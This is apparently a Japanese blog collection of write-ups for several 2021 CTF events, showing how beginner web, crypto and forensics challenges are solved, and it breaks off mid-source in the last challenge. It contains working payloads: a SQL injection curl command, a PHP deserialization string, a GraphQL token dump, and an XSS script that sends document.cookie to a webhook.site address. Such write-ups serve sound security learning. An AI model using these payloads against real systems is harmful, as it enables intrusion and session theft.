corCTF 2021: Write up
Web
devme
特になにもないがメアドを送信してSign upできる部分がある。devtoolで見てみるとGraphQLを使ってることがわかる。
GraphQLわからなさすぎてとりあえずgraphqlmapつかってどういうテーブルがあるかを確認する。
% python3 graphqlmap.py -u https://devme.be.ax/graphql [master] _____ _ ____ _ / ____| | | / __ \| | | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) | \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ | | | | |_| |_| Author: @pentest_swissky Version: 1.0 GraphQLmap > dump_new ============= [SCHEMA] =============== e.g: name[Type]: arg (Type!) Query users[None]: flag[String]: token (String!), Mutation createUser[]: email (String!), User token[String]: username[String]: __Schema __Type __Field __InputValue __EnumValue __Directive GraphQLmap >
admin権限ああるユーザのトークンを取得すればflagを取得できそう。
query { users { token username } }
を投げると
{ "data": { "users": [ { "token": "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b", "username": "admin" }, { "token": "5568f87dc1ca15c578e6b825ffca7f685ac433c1826b075b499f68ea309e79a6", "username": "b82d9af8a6226c072bcd811e7a009ffb36b2ad88be67ac396d170fe8e2f1de7c" . . .
adminのtokenを取得できた。
query { flag( token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b" ) }
によって
{ "data": { "flag": "corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}" } }
flagを取得できた。
flag: corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}
RCTS CERT 2021 Defending the SOC: Write up
Web
Some type of juggling
典型的なloose comparison問題
<!DOCTYPE HTML> <?php if(isset($_GET['source'])) { highlight_file(__FILE__); die(); } else { $value = "240610708"; if (isset($_GET['hash'])) { if ($_GET['hash'] === $value) { die('It is not THAT easy!'); } $hash = md5($_GET['hash']); $key = md5($value); if($hash == $key) { include('flag.php'); print "Congratulations! Your flag is: $flag"; } else { print "Flag not found!"; } } } ?> <html> <head> <title>Challenge 1</title> </head> <body> <h2> Source code says it all</h2> <p>Try to get the flag using the 'hash' parameter</p> <a target="_blank" href="?source">See the source code</a> </body> </html>
http://challenges.defsoc.tk:8080/?hash=QNKCDZO
でflagが出てくる。
flag: flag{php_typ3_juggl1ng_1s_c00l}
Exclusive access
問題サイトをみるとadminしかアクセスできないと表示される。
Cookieに user_type
というパラメータにbase64でエンコードされた文字列が与えられているのでデコードしてみると
% echo -n 'Z3Vlc3Q=' | base64 -d guest
adminという文字列をbase64でエンコードしてアクセスするとflagがでてくる。
% echo -n 'admin' | base64 YWRtaW4=
flag: flag{br0k3n_auth3nt1c4t10n}
It is Magic after all
典型的なデシリアライズ問題
<?php include "flag.php"; class Magic { public $key; public function doMagic() { if ($this->key === true) { global $flag; echo $flag; } else { echo "Nothing..."; } } } if (isset($_GET['magic'])) { $magic = unserialize($_GET['magic']); $magic->doMagic(); } else { print "Nothing..."; } ?>
以下のコードでシリアライズする
<?php class Magic{ public $key = true; } $a = new Magic(); echo serialize($a);
http://challenges.defsoc.tk:3000/?magic=O:5:%22Magic%22:1:{s:3:%22key%22;b:1;}
でアクセスする。
flag: flag{php_d3s3r14l1z4t10n_3xpl01ts}
Crypto
A simple challenge
% echo -n 'Vm0weE1HRXlTWGxVYTJoVllXeGFVMWx0ZEV0alZuQlhWbXQwYVUxVk5WZFpWVlUxWVZaS2RHUkVXbFpOYWtVd1dWUkdSbVF4VG5GUmJHaHBVakpvVVZkc1pEUmpNV1JIWTBWb2JGSnJTbTlXYkZaM1RVWmtXR1JIZEZOTmEzQXdWbTF3WVZaWFNuTlhiVVpoVmpOU1RGa3llRk5XTVd3MlVtMXNhVkl5WTNsV1Z6QXhaREZrVmsxWVJsWmhhelZvVld4YWNrMUdjRmhOVlhSclVteEtNVmxyWkRSWFJrcFdZa1JPVjFKc2NGUlZWRXBUVm0xS1IySkZOVk5TUlVVMQ==' | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
flag: flag{3nc0d1ng_1s_n0t_3ncrypt10n!}
ImaginaryCTF 2021: Write up
Web
Roos_World
ソースコードをみると難読化されたJavaScriptのコードがある
<script> [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+[![]]+[])[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(+[![]]+[])[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(+[![]]+[])[+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])()) </script>
コンソールでそのまま実行するとflagがでてくる。
flag: ictf{1nsp3ct0r_r00_g0es_th0nk}
Crypto
Chicken Caesar Salad
qkbn{ePmv_lQL_kIMamZ_kQxpMZa_oMb_aW_pIZl}
ROT18
flag: ictf{wHen_dID_cAEseR_cIphERs_gEt_sO_hARd}
Forensics
Hidden
% strings challenge.psd | grep ictf ictf{wut_how_do_you_see_this}
flag: ictf{wut_how_do_you_see_this}
Lexington Informatics Tournament CTF 2021: Write up
Web
Let It Go
ソースコードみるだけ
<!DOCTYPE html> <html> <head> <title>LIT CTF - LetItGo</title> </head> <body> <h1 style="text-align: center;margin-top: 100px;">Seems like the website doesn't want to let you go D:</h1> <h1 style="text-align: center;margin-top: 100px;">But the flag is at the bottom!</h1> <h1 style="text-align: center;margin-top: 100px;">What will you do?</h1> <div style="height: 5000px"></div> <p style="font-size: 10px;">flag{l00k5_l1k3_y0u_f1n4lly_l3t_1t_g0}</p> <script> setInterval(function() { if('scrollRestoration' in history) { history.scrollRestoration = 'manual'; } window.scrollTo(0,0); },50); </script> </body> </html>
flag: flag{l00k5_l1k3_y0u_f1n4lly_l3t_1t_g0}
My First Website
適当にソースコードをみるとflagの断片がある
<!-- Oops you found me, second part of the flag: 90s_w3bs1t3s_ -->
I'm fastestest!!! flag{1_l1k3_
d351gns}
flag: flag{1_l1k3_90s_w3bs1t3s_d351gns}
dizzy
http://dizzy.litctf.live
にアクセスすると下記のようにいわれて/interrupt
にリダイレクトされる。
Redirecting to flag in 10 seconds...
BurpでResponseのヘッダをみてみると
HTTP/1.1 200 OK Server: gunicorn Date: Sat, 17 Jul 2021 09:50:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 124 Refresh: 10; url=/OcCj2J21LQoP0Cu63xCToOZgKB6ut_ZzdwiI9aRHeW0 Via: 1.1 google Connection: close <p>Redirecting to flag in 10 seconds...</p><script>setTimeout(function(){window.location.href="/interrupt"}, 3000);</script>
Refresh: 10; url=/OcCj2J21LQoP0Cu63xCToOZgKB6ut_ZzdwiI9aRHeW
が怪しい。
http://dizzy.litctf.live/OcCj2J21LQoP0Cu63xCToOZgKB6ut_ZzdwiI9aRHeW0
にアクセスするとflagがでてくる。
flag: flag{th1s_is_b4d_pr4ct1c3_app4ar3nt1y}
Misc
HelloWorld
synt{j4yp0z3_g0_PGS}
をROT13で変換する。
flag: flag{w4lc0m3_t0_CTF}
Hex to ASCII
666c61677b77346273317465355f346e645f7430306c355f3472335f793075725f673030645f667231336e64357d
16進数からasciiに変換するだけ flag: flag{w4bs1te5_4nd_t00l5_4r3_y0ur_g00d_fr13nd5}
Crypto
7 More Caesar Salads
ただのシーザー暗号 flag: flag{Welcome_To_Cryptography}
redpwnCTF 2021: Write up
Web
inspect-me
ソースコードみるだけ
<h2>important updates!</h2> <li>We are working hard to always keep our site as up-to-date and modern as possible!</li> <li>TODO: remove flag from HTML comment</li> <!-- flag{inspect_me_like_123} --> <hr> <div style="display: flex; justify-content: center"> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> </div>
flag: flag{inspect_me_like_123}
orm-bad
app.js
をみる
const express = require('express'); const sqlite3 = require('sqlite3'); const crypto = require('crypto') const app = express(); app.use(express.urlencoded({extended: true})); app.use(express.static('./public')); app.set('view engine', 'ejs'); const db = new sqlite3.Database(':memory:'); const flag = process.env.FLAG; // yes i know this is callback hell no im not sure if sqlite3 supports promises // and yes this is necessary because of a race condition on program start db.run("CREATE table IF NOT EXISTS users (username text, password text)", () => { db.all("SELECT * FROM users WHERE username='admin'", (err, rows) => { if (err) { throw err; } else if (rows.length == 0) { // generate random admin password crypto.randomBytes(32, (err, buf) => { // if you managed to make this error you deserve it if (err) { throw err; } db.all("INSERT INTO users VALUES ('admin', $1)", [buf.toString('hex')]); console.log("Admin password: " + buf.toString('hex')); }); } }) }); app.get('/', (req, res) => { return res.render("index.ejs", {"alert": req.query.alert}); }) app.post('/flag', (req, res) => { db.all("SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'", (err, rows) => { try { if (rows.length == 0) { res.redirect("/?alert=" + encodeURIComponent("you are not admin :(")); } else if(rows[0].username === "admin") { res.redirect("/?alert=" + encodeURIComponent(flag)); } else { res.redirect("/?alert=" + encodeURIComponent("you are not admin :(")); } } catch (e) { res.status(500).end(); } }) }) app.listen(80, () => console.log('Site listening on port 80'));
app.post('/flag', (req, res) => { db.all("SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'", (err, rows) => {
この部分でSQL injectionがつかえそう
$ curl -d "username=admin' OR 1=1--" -X POST 'https://orm-bad.mc.ax/flag' Found. Redirecting to /?alert=flag%7Bsqli_overused_again_0b4f6%7D%
flag: flag{sqli_overused_again_0b4f6}
pastebin-1
<script>fetch(`https://webhook.site/ed47e9ba-15d5-49b1-a675-670228228f65/${document.cookie}`);</script>
https://webhook.site/ed47e9ba-15d5-49b1-a675-670228228f65/flag=flag%7Bd1dn7_n33d_70_b3_1n_ru57%7D
flag: flag{d1dn7_n33d_70_b3_1n_ru57}
secure
index.js
const crypto = require('crypto'); const express = require('express'); const db = require('better-sqlite3')('db.sqlite3'); db.exec(`DROP TABLE IF EXISTS users;`); db.exec(`CREATE TABLE users( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT );`); db.exec(`INSERT INTO users (username, password) VALUES ( '${btoa('admin')}', '${btoa(crypto.randomUUID)}' )`); const app = express(); app.use( require('body-parser').urlencoded({ extended: false, }) ); app.post('/login', (req, res) => { if (!req.body.username || !req.body.password) return res.redirect('/?message=Username and password required!'); const query = `SELECT id FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}';`; try { const id = db.prepare(query).get()?.id; if (id) return res.redirect(`/?message=${process.env.FLAG}`); else throw new Error('Incorrect login'); } catch { return res.redirect( `/?message=Incorrect username or password. Query: ${query}` ); } }); app.get('/', (req, res) => { res.send(` <div class="container"> <h1>Sign In</h1> <form> <label for="username">Username</label> <input type="text" name="username" id="username" /> <label for="password">Password</label> <input type="password" name="password" id="password" /> <input type="submit" value="Submit" /> </form> <div class="important">${(req.query.message ?? '') .toString() .replace(/>|</g)}</div> </div> <script> (async() => { await new Promise((resolve) => window.addEventListener('load', resolve)); document.querySelector('form').addEventListener('submit', (e) => { e.preventDefault(); const form = document.createElement('form'); form.setAttribute('method', 'POST'); form.setAttribute('action', '/login'); const username = document.createElement('input'); username.setAttribute('name', 'username'); username.setAttribute('value', btoa(document.querySelector('#username').value) ); const password = document.createElement('input'); password.setAttribute('name', 'password'); password.setAttribute('value', btoa(document.querySelector('#password').value) ); form.appendChild(username); form.appendChild(password); form.setAttribute('style', 'display: none'); document.body.appendChild(form); form.submit(); }); })(); </script> <style> * { font-family: 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif; box-sizing: border-box; } html, body { height: 100%; margin: 0; } .container { padding: 2rem; width: 90%; 